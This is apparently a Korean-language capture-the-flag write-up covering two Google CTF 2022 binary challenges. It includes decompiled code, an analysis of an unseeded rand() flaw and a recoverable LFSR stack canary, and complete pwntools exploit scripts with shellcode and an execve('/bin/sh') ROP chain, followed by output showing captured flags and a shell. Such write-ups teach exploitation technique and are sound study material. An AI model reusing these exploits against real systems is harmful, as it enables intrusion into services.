오랜만에 씨탭이 뛰고 싶어서 참가했지만 같이 할 수 있는 사람이 많이 없어서 아쉬웠다.
팀을 하나 구해서 같이 나가야하나싶다..
fd = fopen("/dev/urandom", "r");
root_memory = mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL);
mmaped_memory_ = root_memory;
while ( 1 )
{
size = fread(ptr, 1uLL, 1uLL, fd);
random = ptr[0] % 15;
ptr[0] %= 15;
if ( size != 1 )
break;
for ( i = 0LL; i != 16; ++i )
{
is_random = random == i;
new_rand = rand();
dummy_mmap = mmap(((new_rand << 12) + 0x10000), 0x1000uLL, 3 * is_random, 34, -1, 0LL);
mmaped_memory_[i] = dummy_mmap;
random = ptr[0];
}
mmaped_memory_ = mmaped_memory_[ptr[0]];
if ( !--v4 )
{
flag_fd = fopen("flag.txt", "r");
fread(mmaped_memory_, 1uLL, 0x1000uLL, flag_fd) )
. . .
myshellcode(root_memory);
코드요약을 해보자면 16번만큼 rand()
로 mmaped_memory[i]
할당해주고, mmaped_memory = mmaped_memory[? % 15]
를 수행한다.
mmaped_memory[? % 15]
에만 rw
권한이 주어지며, 나머지 메모리는 ---
의 permision
을 가진다.
flag
는 제일 마지막 메모리(16)중 하나에 작성된다.
즉 잘못 접근하면
---
의 권한 때문에SegFault
가 발생한다.
그리고 원하는 쉘코드를 주어진 root_memory map
을 인자로 4096 bytes
만큼 실행시킬 수 있다. 이를 브루트 포싱으로 해결하기 위해서는 16 ** 16
의 경우의수가 존재하기때문에 거의 불가능.
출제자의 의도는 16개의 메모리중 올바른 메모리를 서치하여 플래그를 읽으라는 것 같지만, 오류가 있다.
srand()
함수를 실행하지 않았기 때문에 나오는 rand()
값이 모두 일정하고, flag
는 가장 마지막에 작성된 16개의 메모리중 한곳에 쓰여있기때문에 이를 1/16
으로 줄일 수 있다.
그 뒤는 브루트포싱으로 해결할 수 있다.
from pwn import *
rand_list = [1549965389824, 2111611023360, 7017505939456, 6444496420864, 5775195029504, 8509385650176, 5624735154176, 6682698403840, 822263037952, 1186614226944]
pay = asm('''
mov rsi, 6444496420864 # one of 16 ( rand_list[3] )
mov rdx, 0x100
mov rax, 1
mov rdi, 1
syscall
''', arch='amd64')
for i in range(100):
try:
p = remote("segfault-labyrinth.2022.ctfcompetition.com", 1337)
p.recvuntil(b'Labyrinth\n')
p.send(p64(len(pay)))
p.send(pay)
print(p.recv())
p.close()
except:
continue
❯ p solve.py
[+] Opening connection to segfault-labyrinth.2022.ctfcompetition.com on port 1337: Done
[+] Opening connection to segfault-labyrinth.2022.ctfcompetition.com on port 1337: Done
[+] Opening connection to segfault-labyrinth.2022.ctfcompetition.com on port 1337: Done
[+] Opening connection to segfault-labyrinth.2022.ctfcompetition.com on port 1337: Done
b'CTF{c0ngratulat1ons_oN_m4k1nG_1t_thr0uGh_th3_l4Byr1nth}\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Closed connection to segfault-labyrinth.2022.ctfcompetition.com port 1337
[+] Opening connection to segfault-labyrinth.2022.ctfcompetition.com on port 1337: Done
바이너리는 loader
와 이를 라이브러리 없이 돌아갈 수 있게 해주는 7개의 오브젝트 파일들이 있다.
aar
과 bof
취약점이 너무 잘보이기 때문에 취약점 설명은 넘어가고, 가장 중요한 Canary leak
과정만 설명하겠다.
if ( readline(v3, 16LL) == 1 )
{
nbytes = atou64(v3);
if ( nbytes > 0x1F )
puts("Name too long! No SCOREBOARD for you.");
// ! didnt return
puts("Now type in your name:");
read(0, buf, nbytes);
if ( readline(v2, 32LL) == 1 )
{
v1 = atou64(v2);
// didnt idx check
print("To get this place you need to beat this score: ");
u64toa(s, *(game_scoreboard + v1));
puts(s);
MainGame
과정에서는 도저히 카나리릭을 할 수 있는 벡터가 보이지 않았다.
우리는 다른방법으로 릭을 시도해야한다.
카나리 릭을 하기 위해서는 프로그램의 rand()
작동 과정을 알아야 한다.
__int64 start()
{
__int64 v1; // [rsp+8h] [rbp-18h]
int k; // [rsp+14h] [rbp-Ch]
int j; // [rsp+18h] [rbp-8h]
int i; // [rsp+1Ch] [rbp-4h]
sys_getrandom(&seed, 8LL, 2u);
init_stack_guard();
for ( i = 0; files[i]; ++i )
load_o_phase_1(&o_ctx + 616 * i, files[i]);
for ( j = 0; files[j]; ++j )
load_o_phase_2(&o_ctx + 616 * j, files[j]);
for ( k = 0; files[k]; ++k )
load_o_phase_final(&o_ctx + 616 * k, files[k]);
v1 = export_get("main");
zeromem(&edata, 512LL);
zeromem(&o_ctx, 39424LL);
zeromem(&export_info, 2560LL);
export_count = 0;
seed = 0LL;
return pivot_to_main(v1);
}
__int64 init_stack_guard()
{
__int64 v0; // rax
__int64 v2; // [rsp+8h] [rbp-8h]
v2 = sys_mmap(0LL, 4096LL, 3LL, 34LL, 0LL, 0LL);
syscall2(158LL, 4098LL, v2);
v0 = rand(64LL);
return write_stack_guard(v0);
}
unsigned __int64 __fastcall rand(int a1)
{
int i; // [rsp+Ch] [rbp-Ch]
unsigned __int64 v3; // [rsp+10h] [rbp-8h]
v3 = 0LL;
for ( i = 0; i < a1; ++i )
v3 = rand_get_bit() | (2 * v3);
return v3;
}
__int64 rand_get_bit()
{
int v0; // ebx
int v1; // ebx
int v2; // ebx
unsigned __int8 v4; // [rsp+Fh] [rbp-9h]
v0 = get_nth_bits_from_seed(63LL);
v1 = get_nth_bits_from_seed(61LL) ^ v0;
v2 = get_nth_bits_from_seed(60LL) ^ v1;
v4 = v2 ^ get_nth_bits_from_seed(58LL) ^ 1;
seed = (2 * seed) | v4;
return v4;
}
처음 seed
는 완전 무작위.
그 뒤 init_stack_guard()
함수에서 rand(64)
함수로 Canary
를 설정해준다.
rand()
함수는 들어온 인자(bits
)만큼 무작위 비트(rand_get_bit
)를 생성해서 반환한다.
rand_get_bit()
과정을 요약하자면 다음과 같다.
# Pseudo
function rand_get_bit() {
output = seed[63] ^ seed[61] ^ seed[60] ^ seed[58] ^ 1
seed = (seed << 1)
seed[0] |= output
return output
}
여기에 한가지 특징이 존재한다.
rand_get_bit
결과가 새로운seed[0]
이 된다.
해당 특징을 이용하면 우리는 seed << 1
을 수행한 상태여도, 손실된 63
번 비트를 제외하고, [output, old_seed[61], old_seed[60], old_seed[58], 1]
을 알수있다.
이를 xor
수행하면 old_seed[63]
를 구할 수 있다.
즉, 현재 seed
를 기반으로 이전 seed
를 1bits
씩 복구할 수 있다.
그럼 현재 seed
를 알아야 하는데 이는 다음과 같이해결할 수 있다.
# pseudo
module_list = ["main", "syscall", "guard", "basic", "game", "res", "debug"]
for i in range(len(a)):
module_list[i] = mmap(rand(12) << 28)
Debug
를 제외한 나머지 모듈의 주소를 leak
할 수 있고, 주소값들은 rand(12)
의 결괏값이다.
이를 통해 현재 seed
를 구할 수 있다.
seed = (b_main >> 28) << (64-12)
seed |= (b_syscall >> 28) << (64 - 24)
seed |= (b_guard >> 28) << (64 - 36)
seed |= (b_basic >> 28) << (64 - 48)
seed |= (b_game >> 28) << (64 - 60)
seed |= ((b_res >> 28) >> 8)
최초의 seed
를 구하고 다시 rand(64)
를 하면 프로그램의 카나리 값과 일치하기 때문에 ROP
를 수행할 수 있다.
def repair_63bits(_cur_seed):
res = (_cur_seed & 1) ^ 1
ratio = [62, 61, 59]
for i in ratio:
res ^= get_bit(_cur_seed, i)
return (res << 63) | (_cur_seed >> 1)
rand_seed = seed # current seed
rand(8) # random padding
b_debug = rand(12) << 28
log.info("[+] Debug.o : " + hex(b_debug))
for i in range(64 + 64):
seed = repair_63bits(seed)
rand_seed = seed
canary = rand(64)
log.info("[+] Canary " + hex(canary))
from pwn import *
#p = process("./loader")
p = remote("fixedaslr.2022.ctfcompetition.com", 1337)
def solver(_round):
p.sendlineafter(b"choice?\n", b"1")
for i in range(_round):
p.recvuntil(b" is ")
p.sendline(str(eval(p.recvline()[:-3].decode())).encode())
p.sendlineafter(b"?\n", b'1')
p.sendlineafter(b"?\n", b'4096')
def dump(_idx, isSub=None):
if _idx < 0: _idx = (_idx//8) & 0xffffffffffffffff
elif isSub: _idx = _idx // 8
else: pass
p.sendlineafter(b"choice?\n", b"3")
p.sendlineafter(b"(0-9)?\n", str(_idx).encode())
p.recvuntil(b"score: ")
b_basic = int(p.recvline().strip())
return b_basic
def get_idx(_base, _target):
return ((1 << 64) - _base ) // 8 + _target//8
#######################################################
b_game = dump(-0x2000+8*5, 1) - 0x1000
b_guard = dump(-0x2000+8*7, 1) - 0x1000
b_main = dump(0x1000, 1) - 0x2060
b_res = dump(get_idx(b_main, b_game)) - 0x1000
b_basic = dump(get_idx(b_main, b_game)-(0x2000-8)//8) - 0x119c
b_syscall = dump(get_idx(b_main, b_basic)-(0x2000-8*7)//8) - 0x10ba
log.info("[+] Main.o : " + hex(b_main))
log.info("[+] Syscall.o : " + hex(b_syscall))
log.info("[+] Guard.o : " + hex(b_guard))
log.info("[+] Basic.o : " + hex(b_basic))
log.info("[+] Game.o : " + hex(b_game))
log.info("[+] Res.o : " + hex(b_res))
#######################################################
# main - syscall - guard - basic - game - res - debug #
#######################################################
solver(20)
p.sendafter(b":\n", b"/bin/sh\x00") # make binsh
def get_bit(_val, _idx):
return _val >> _idx & 1
def rand(_bits):
res = 0
for i in range(_bits):
a = get_random_bit()
res = (res << 1) | a
return res
def get_random_bit():
global rand_seed
ratio = [63, 61, 60, 58]
mybit = 1
for i in ratio:
mybit ^= get_bit(rand_seed, i)
rand_seed = ((rand_seed << 1) | mybit) & 0xffffffffffffffff
return mybit
def repair_63bits(_cur_seed):
res = (_cur_seed & 1) ^ 1
ratio = [62, 61, 59]
for i in ratio:
res ^= get_bit(_cur_seed, i)
return (res << 63) | (_cur_seed >> 1)
seed = (b_main >> 28) << (64-12)
seed |= (b_syscall >> 28) << (64 - 24)
seed |= (b_guard >> 28) << (64 - 36)
seed |= (b_basic >> 28) << (64 - 48)
seed |= (b_game >> 28) << (64 - 60)
seed |= ((b_res >> 28) >> 8)
rand_seed = seed # current seed
rand(8) # padding bit
b_debug = rand(12) << 28
log.info("[+] Debug.o : " + hex(b_debug))
for i in range(64 + 64):
seed = repair_63bits(seed)
rand_seed = seed
canary = rand(64)
log.info("[+] Canary " + hex(canary))
binsh = b_main + 0x2080
prdi = b_debug + 0x1001
prsi = b_debug + 0x1004
prdx = b_debug + 0x1010
prax = b_debug + 0x1007
syscall = b_syscall + 0x100a
pay = b'A'*0x28
pay += p64(canary)
pay += p64(0)
pay += p64(prax)
pay += p64(59)
pay += p64(prdi)
pay += p64(binsh)
pay += p64(prsi)
pay += p64(0)
pay += p64(prdx)
pay += p64(0)
pay += p64(syscall)
solver(30)
p.send(pay)
p.interactive()
❯ p solve.py
[+] Opening connection to fixedaslr.2022.ctfcompetition.com on port 1337: Done
[*] [+] Main.o : 0xc6f0000000
[*] [+] Syscall.o : 0xe0f0000000
[*] [+] Guard.o : 0xe1c0000000
[*] [+] Basic.o : 0xf1b0000000
[*] [+] Game.o : 0xf70000000
[*] [+] Res.o : 0xcca0000000
[*] [+] Debug.o : 0xc840000000
[*] [+] Canary 0x48b6d666bcca8336
[*] Switching to interactive mode
Name too long! No SCOREBOARD for you.
Now type in your name:
$ ls
basic.o
debug.o
flag
game.o
guard.o
loader
main.o
res.o
syscalls.o
$ cat flag
CTF{GuessYouCanSayTheCookieGotRandomlyBroken}
$